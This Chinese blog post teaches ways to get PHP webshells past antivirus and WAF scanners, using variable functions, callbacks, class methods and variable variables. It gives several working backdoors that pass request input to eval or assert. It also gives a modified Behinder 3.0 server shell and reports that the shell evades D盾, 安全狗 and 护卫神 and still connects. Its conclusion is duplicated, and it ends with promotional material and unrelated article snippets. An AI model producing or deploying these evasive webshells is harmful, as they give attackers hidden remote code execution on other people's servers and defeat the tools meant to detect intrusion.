webshell免杀之函数与变量玩法
webshell免杀之函数与变量玩法
前言
前文列举了一些用符号免杀的例子,此篇文章就以函数和变量来尝试下免杀。 本文以PHP为例,用PHP中函数和变量及语法特性,在不隐藏函数关键字情况下进行免杀。
动态函数
PHP中支持一个功能叫 variable function ,变量函数的意思。
例:$a=‘system’; $a(‘dir’); //最终是system(‘dir’);
当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值(假设值为符串system),然后会去找当前是否存在名为“system()”的函数并执行它。
注:eval 、echo、print 等看似是函数但并非函数,而是语言构造器(语言结构),不支持该用法
动态函数利用时就可以达到隐藏危险函数关键字特征的目的,我可以对函数关键字进行拆分,编码,然后拼接还原,再利用动态函数特性执行。
例:$_GET[‘func’]($_REQUEST[‘pass’]); //这就是动态函数webshell
这里就不给实例了,很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。
回调函数
回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。
这种方法很简单,php中回调函数有很多个,但大多已经被标记 经过测试找到一个目前还能免杀的:
<?php
forward_static_call_array('assert',array($_GET['x'])); ?>
D盾:1级forward_static_call_array 如果尝试对回调函数 进行字符特征隐藏,再用动态函数执行,反而提升2级
魔术方法
PHP中以两个下划线开头的函数,被称为魔术方法 是保留方法。
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
魔术方法中有两个函数: 构造函数:创建对象时会自动调用此方法,初始化操作。 析构函数:对象的引用被全部删除或销毁时执行。析构函数不能有参数
//__destruct() 析构函数 ;__construct() 构造函数
<?php
class me{
public $a = '';
function __destruct(){ eval("$this->a".' '); }
}
$a=$_GET['xxx'];
$b = new me;
$b->a = $a;
?>
D盾3级 可疑;安全狗 护卫神 免杀
上面用析构函数D盾会检测到,当尝试改特征时发现,不用析构函数就能够免杀。 果然,高端的免杀往往只需要最朴素的方式
<?php
class mexx{
public $a = '';
function mexx(){ eval("$this->a".'; '); }
}
$a=$_GET['xxx'];
$b = new mexx;
$b->a = $a;
echo $b->mexx();
?>
全过。
可变变量
PHP还支持一种语法:可变变量,可以把一个变量的值作为另一个变量的变量名。 例如: 变量a的值是‘c’; 变量c的值是‘ccc’,当使用两个 变量符号时
$a这就是一个可变变量,就不是a 这就是一个可变变量,就不是a这就是一个可变变量,就不是a 而是c。为什么会是c。 为什么会是c。为什么会是c ?
在编程中,代码执行时整体是从上到下,从左到右,但是赋值语句,则是从右到左。
测试来看可变变量是从右往左的
$a='c';
$c='flag';
echo $a; //结果 c
echo $$a; //结果 flag
// $$a 解析从右往左找到第一个变量符号 把$a解析,得到$c
这里利用可变变量进行免杀
<?php
$c=‘1’; //删掉此句 安全狗免杀;
$a='c';
$$a=$_POST[‘x’]; //$c
assert($c); //d盾特征
?>
变量c需要给一个值,不能空值,否侧d盾检测到变量未知内容,会报4级 D盾1级,其他免杀
这里有个想法,可变变量能支持多少层哪,只能变一次还是能多次。
$a='c';
$c='flag';
$flag='123';
echo $$a; //结果 flag
echo $$$a; //结果 123
echo "$$a"; //结果 $c
echo "{$$$a}"; //结果 123
最终发现可变变量是支持多层的,但在双引号中不支持可变变量,需要用花括号来包裹声明。
改造冰蝎
了解了前面的方法,那就尝试对冰蝎的脚本改造一下。
先来看冰蝎3.0的默认脚本,查杀一下

经过用D盾尝试,发现file_get_contents,openssl 等关键字都会被检测为木马,最终在不动eval关键字情况下,修改如下
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$aaa='file_get_contents';
$bbb='openssl';
$post=$aaa("php://input");
if(!extension_loaded($bbb))
{
$t="base64_"."decode";
$post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; }
}
else
{ $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1];
class mexx{
public $a = '';
function mexx(){ eval("$this->a".''); } }
$b = new mexx();
$b->a = $params;
echo $b->mexx();
?>
原本的类中是用了魔术方法将对象当函数执行,用回调函数去调用。 这里改为常规的方式调用,将被查杀file_get_contents关键字用改成变量函数调用
本地查杀:安全狗护卫神免杀,D盾(1级|可疑) 在线查杀效果

只有报了一个,我推断是检测到eval关键字才告警,遂换成echo函数试试是否免杀
结果还是被查杀,看来检测的特征不是在这里。
经过不断尝试,想到密钥 key的值是默认的e45e329feb5d925b,会不会是它。
把key改掉,如下
<?php
@error_reporting(0);
session_start();
$key="47bce5c74f589f48"; //aaa
$_SESSION['k']=$key;
session_write_close();
$aaa='file_get_contents';
$bbb='openssl';
$post=$aaa("php://input");
if(!extension_loaded($bbb))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15]; }
}else{ $post=openssl_decrypt($post, "AES128", $key); }
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class mexx{
public $a = '';
function mexx(){
eval("$this->a".'');
} }
$b = new mexx();
$b->a = $params;
echo $b->mexx();
?>
查杀结果

脚本正常连接

总结
从上述案例能看出来,想要免杀很简单,不需要花里胡哨的操作,只需要改变下结构或函数,不需要变形编码关键字也能实现免杀
$b->a = $params;
echo $b->mexx();
?>
查杀结果
[外链图片转存中…(img-X5Fmg7Yz-1676528059990)]
脚本正常连接
[外链图片转存中…(img-KDLqFrLK-1676528059990)]
总结
从上述案例能看出来,想要免杀很简单,不需要花里胡哨的操作,只需要改变下结构或函数,不需要变形编码关键字也能实现免杀
网络安全工程师企业级学习路线
这时候你当然需要一份系统性的学习路线
如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

相关文章:
webshell免杀之函数与变量玩法
webshell免杀之函数与变量玩法 前言 前文列举了一些用符号免杀的例子,此篇文章就以函数和变量来尝试下免杀。 本文以PHP为例,用PHP中函数和变量及语法特性,在不隐藏函数关键字情况下进行免杀。 动态函数 PHP中支持一个功能叫 variable fu…...
【新解法】华为OD机试 - 去重求和 | 备考思路,刷题要点,答疑,od Base 提供
华为 OD 清单查看地址:blog.csdn.net/hihell/category_12199275.html 去重求和 | 备考思路,刷题要点,答疑,od Base 提供 给定一个数组,编写一个函数, 计算他的最大N个数和最小N个数的和, 需要对数组进行去重。 输入 第一行输入M,M表示数组大小 第二行输入M个数,表…...
MySQL 服务正在启动.MySQL 服务无法启动.服务没有报告任何错误。请键入 NET HELPMSG 3534 以获得更多的帮助。总结较全 (已解决)
输入以下命令启动mysql: net start mysql出现以下错误提示: MySQL 服务正在启动 .MySQL 服务无法启动。服务没有报告任何错误。请键入 NET HELPMSG 3534 以获得更多的帮助。 出现这个问题的话,一般有几个情况: 一、MySQL安装文…...
【数据结构与算法】数组2:双指针法 二分法(螺旋矩阵)
文章目录今日任务1.Leetcode977:有序数列的平方(1)题目(2)思路(3)暴力排序(4)双指针法2.Leetcode209:长度最小的子数组(1)题目&#x…...
librtmp优化
librtmp是一个RTMP的开源库,很多地方用它来做推流、拉流。它是RTMPDump开源软件里的一部分,librtmp的下载地址:RTMPDump,目前最新版是V2.3。本文重点介绍librtmp优化。 1、调整网络输出块大小。 RTMP_Connect0函数中LibRTMP是关…...
数据结构与算法(二):线性表
上一篇《数据结构与算法(一):概述》中介绍了数据结构的一些基本概念,并分别举例说明了算法的时间复杂度和空间复杂度的求解方法。这一篇主要介绍线性表。 一、基本概念 线性表是具有零个或多个数据元素的有限序列。线性表中数据…...
IOS安全区域适配
对于 iPhone 8 和以往的 iPhone,由于屏幕规规整整的矩形,安全区就是整块屏幕。但自从苹果手机 iphoneX 发布之后,前端人员在开发移动端Web页面时,得多注意一个对 IOS 所谓安全区域范围的适配。这其实说白了就是 iphoneX 之后的苹果…...
在Java 中 利用Milo通信库,实现OPCUA客户端,并生成证书
程序结构: 配置文件resources: opcua.properties 西门子PLC端口号为4840,kepserver为49320 #opcua服务端配置参数 #opcua.server.endpoint.urlopc.tcp://192.168.2.102:49320 opcua.server.endpoint.urlopc.tcp://192.168.2.11:4840 opcu…...
三分钟学会用Vim
Vim知识点 目录Vim知识点一:什么是vim二:vim常用的三种模式三:vim的基本操作一:什么是vim vim最小集 vim是一款多模式的编辑器—各种模式—每种模式的用法有差别—每种模式之间可以互相切换 但是我们最常用的就是3~5个模式 vi…...
编译链接实战(8)认识elf文件格式
🎀 关于博主👇🏻👇🏻👇🏻 🥇 作者简介: 热衷于知识探索和分享的技术博主。 💂 csdn主页::【奇妙之二进制】 ✍️ 微信公众号:【Linux …...
新手小白如何入门黑客技术?
你是否对黑客技术感兴趣呢?感觉成为黑客是一件很酷的事。那么作为新手小白,我们该如何入门黑客技术,黑客技术又是学什么呢? 其实不管你想在哪个新的领域里有所收获,你需要考虑以下几个问题: 首先ÿ…...
【java】Spring Boot --深入SpringBoot注解原理及使用
步骤一 首先,先看SpringBoot的主配置类: SpringBootApplication public class StartEurekaApplication {public static void main(String[] args){SpringApplication.run(StartEurekaApplication.class, args);} }步骤二 点进SpringBootApplication来…...
一文掌握如何对项目进行诊断?【步骤方法和工具】
作为项目经理和PMO,面对错综复杂的项目,需要对组织的项目运作情况进行精确的分析和诊断,找出组织项目管理中和项目运行中存在的问题和潜在隐患,分析其原因,预防风险,并且形成科学合理的决策建议和解决方案&…...
系统分析师真题2020试卷相关概念二
结构化设计相关内容: 结构化设计是一种面向数据流的系统设计方法,它以数据流图和数据字典等文档为基础。数据流图从数据传递和加工的角度,以图形化方式来表达系统的逻辑功能、数据在系统内部的逻辑流向和逻辑变换过程,是结构化系统分析方法的主要表达工具及用于表示软件模…...
<<Java开发环境配置>>5-MySQL安装教程(绿色版)
一.MySQL绿色版安装: 1.直接解压下载的ZIP文件到对应的目录下(切记安装目录不要有中文); 如图:我的安装目录:D:Program Files 2.创建配置文件: 在MySQL安装目录下,创建一个my.ini配置文件,然后在里面添加以下内容(别忘了MySQL安装目录要改成…...
空间复杂度与时间复杂度
1、时间复杂度和空间复杂度 (1)时间复杂度、空间复杂度是什么? 算法效率分析分为两种:第一种是时间效率,第二种是空间效率。时间效率被称为时间复杂度,空间效率被称作空间复杂度时间复杂度主要衡量的是一…...
javaEE 初阶 — 延迟应答与捎带应答
文章目录1. 延迟应答2. 捎带应答TCP 工作机制:确认应答机制 超时重传机制 连接管理机制 滑动窗口 流量控制与拥塞控制 1. 延迟应答 延时应答 也是提升效率的机制,也是在滑动窗口基础上搞点事情。 滑动窗口的关键是让窗口大小大一点,传输…...
Twitter账号老被封?一文教会你怎么养号
昨天龙哥给大家科普完要怎么批量注册Twitter账号,立刻有朋友来私信龙哥说里面提到的这个养号和防关联具体是个怎么样的做法。由于Twitter检测机制还是比较敏感的,账号很容易被冻结,所以养号是非常重要的步骤。其实要养好Twitter账号其实并不难…...
当遇到国外客户的问题,你解决不了的时候怎么办
对我来说,今年的这个春节假期有点长,差不多休了一个月。复工之后,截止目前做到了60万RMB的业绩,但是相较于往年,整体状态还是差了些。往年的春节,我都是随时待命的状态,整个春节天天坐于电脑前&…...
算法刷题打卡第93天: 最大的以 1 为边界的正方形
最大的以 1 为边界的正方形 难度:中等 给你一个由若干 0 和 1 组成的二维网格 grid,请你找出边界全部由 1 组成的最大 正方形 子网格,并返回该子网格中的元素数量。如果不存在,则返回 0。 示例 1: 输入:…...
工业安全零事故的智能守护者:一体化AI智能安防平台
前言: 通过AI视觉技术,为船厂提供全面的安全监控解决方案,涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面,能够实现对应负责人反馈机制,并最终实现数据的统计报表。提升船厂…...
Golang dig框架与GraphQL的完美结合
将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用,可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器,能够帮助开发者更好地管理复杂的依赖关系,而 GraphQL 则是一种用于 API 的查询语言,能够提…...
三体问题详解
从物理学角度,三体问题之所以不稳定,是因为三个天体在万有引力作用下相互作用,形成一个非线性耦合系统。我们可以从牛顿经典力学出发,列出具体的运动方程,并说明为何这个系统本质上是混沌的,无法得到一般解…...
【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分
一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计,提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合:各模块职责清晰,便于独立开发…...
mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包
文章目录 现象:mysql已经安装,但是通过rpm -q 没有找mysql相关的已安装包遇到 rpm 命令找不到已经安装的 MySQL 包时,可能是因为以下几个原因:1.MySQL 不是通过 RPM 包安装的2.RPM 数据库损坏3.使用了不同的包名或路径4.使用其他包…...
学习STC51单片机32(芯片为STC89C52RCRC)OLED显示屏2
每日一言 今天的每一份坚持,都是在为未来积攒底气。 案例:OLED显示一个A 这边观察到一个点,怎么雪花了就是都是乱七八糟的占满了屏幕。。 解释 : 如果代码里信号切换太快(比如 SDA 刚变,SCL 立刻变&#…...
Java数值运算常见陷阱与规避方法
整数除法中的舍入问题 问题现象 当开发者预期进行浮点除法却误用整数除法时,会出现小数部分被截断的情况。典型错误模式如下: void process(int value) {double half = value / 2; // 整数除法导致截断// 使用half变量 }此时...
nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...
恶补电源:1.电桥
一、元器件的选择 搜索并选择电桥,再multisim中选择FWB,就有各种型号的电桥: 电桥是用来干嘛的呢? 它是一个由四个二极管搭成的“桥梁”形状的电路,用来把交流电(AC)变成直流电(DC)。…...
【实施指南】Android客户端HTTPS双向认证实施指南
🔐 一、所需准备材料 证书文件(6类核心文件) 类型 格式 作用 Android端要求 CA根证书 .crt/.pem 验证服务器/客户端证书合法性 需预置到Android信任库 服务器证书 .crt 服务器身份证明 客户端需持有以验证服务器 客户端证书 .crt 客户端身份…...
